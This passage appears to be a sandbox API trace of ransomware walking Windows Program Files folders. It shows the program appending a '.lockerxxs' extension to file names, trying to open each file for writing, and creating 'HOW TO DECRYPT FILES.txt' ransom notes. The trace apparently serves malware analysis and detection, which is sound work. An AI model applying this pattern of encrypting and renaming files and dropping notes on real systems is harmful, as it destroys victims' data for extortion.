Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" [0059.877] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" [0059.877] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" [0059.877] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png", lpString2="." | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png.") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png." [0059.877] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png.lockerxxs") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png.lockerxxs" [0059.878] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.878] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.878] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned="16to9Squareframe_Buttongraphic.png" [0059.878] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" [0059.878] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned="" [0059.878] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HOW TO DECRYPT FILES.txt" [0059.878] GetFileAttributesA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\how to decrypt files.txt")) returned 0x20 [0059.879] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpString2="16to9Squareframe_SelectionSubpicture.png" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" [0059.879] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" [0059.879] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" [0059.879] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png", lpString2="." | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png.") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png." [0059.879] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png.lockerxxs") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png.lockerxxs" [0059.879] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.879] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.879] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned="16to9Squareframe_SelectionSubpicture.png" [0059.879] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" [0059.879] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned="" [0059.879] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HOW TO DECRYPT FILES.txt" [0059.879] GetFileAttributesA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\how to decrypt files.txt")) returned 0x20 [0059.879] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpString2="16to9Squareframe_VideoInset.png" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" [0059.879] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" [0059.879] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" [0059.879] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png", lpString2="." | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png.") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png." [0059.879] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png.lockerxxs") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png.lockerxxs" [0059.879] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.880] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.880] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned="16to9Squareframe_VideoInset.png" [0059.880] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" [0059.880] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned="" [0059.880] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HOW TO DECRYPT FILES.txt" [0059.880] GetFileAttributesA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\how to decrypt files.txt")) returned 0x20 [0059.880] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpString2="4to3Squareframe_Buttongraphic.png" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" [0059.880] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" [0059.880] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" [0059.880] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png", lpString2="." | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png.") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png." [0059.881] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png.lockerxxs") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png.lockerxxs" [0059.881] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.881] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.881] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned="4to3Squareframe_Buttongraphic.png" [0059.881] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" [0059.881] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned="" [0059.881] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HOW TO DECRYPT FILES.txt" [0059.881] GetFileAttributesA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\how to decrypt files.txt")) returned 0x20 [0059.881] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpString2="4to3Squareframe_SelectionSubpicture.png" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" [0059.881] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" [0059.881] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" [0059.881] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png", lpString2="." | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png.") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png." [0059.881] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png.lockerxxs") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png.lockerxxs" [0059.881] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.881] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.881] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned="4to3Squareframe_SelectionSubpicture.png" [0059.881] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" [0059.881] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned="" [0059.882] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HOW TO DECRYPT FILES.txt" [0059.882] GetFileAttributesA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\how to decrypt files.txt")) returned 0x20 [0059.882] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpString2="4to3Squareframe_VideoInset.png" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" [0059.882] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" [0059.882] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" [0059.882] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png", lpString2="." | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png.") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png." [0059.882] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png.lockerxxs") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png.lockerxxs" [0059.882] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.882] lstrcmpA (lpString1=".", lpString2="BabyBoy") returned -1 [0059.882] lstrcmpA (lpString1="..", lpString2="BabyBoy") returned -1 [0059.882] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned="4to3Squareframe_VideoInset.png" [0059.882] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpString2="BabyBoy" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy" [0059.882] FindFirstFileA (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4f8240, cFileName=".", cAlternateFileName="")) returned 0x4f8110 [0059.890] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.890] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.890] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.890] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.890] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*") returned="*.*" [0059.890] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" [0059.890] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\") returned="" [0059.890] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\HOW TO DECRYPT FILES.txt" [0059.890] GetFileAttributesA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\how to decrypt files.txt")) returned 0xffffffff [0059.891] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0059.892] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.892] CloseHandle (hObject=0x90) returned 1 [0059.892] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", lpString2="babyblue.png" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" [0059.892] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" [0059.892] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" [0059.892] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png", lpString2="." | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png.") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png." [0059.892] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png.lockerxxs") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png.lockerxxs" [0059.892] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.894] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.894] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned="babyblue.png" [0059.894] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" [0059.894] PathAddBackslashA (in: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" | out: pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\") returned="" [0059.894] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\HOW TO DECRYPT FILES.txt" [0059.894] GetFileAttributesA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\how to decrypt files.txt")) returned 0x20 [0059.894] lstrcatA (in: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", lpString2="BabyBoyMainBackground.wmv" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" [0059.895] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.895] PathFindFileNameA (pszPath="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv") returned="BabyBoyMainBackground.wmv" [0059.895] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" | out: lpString1="C:\\Program Files\\DVD 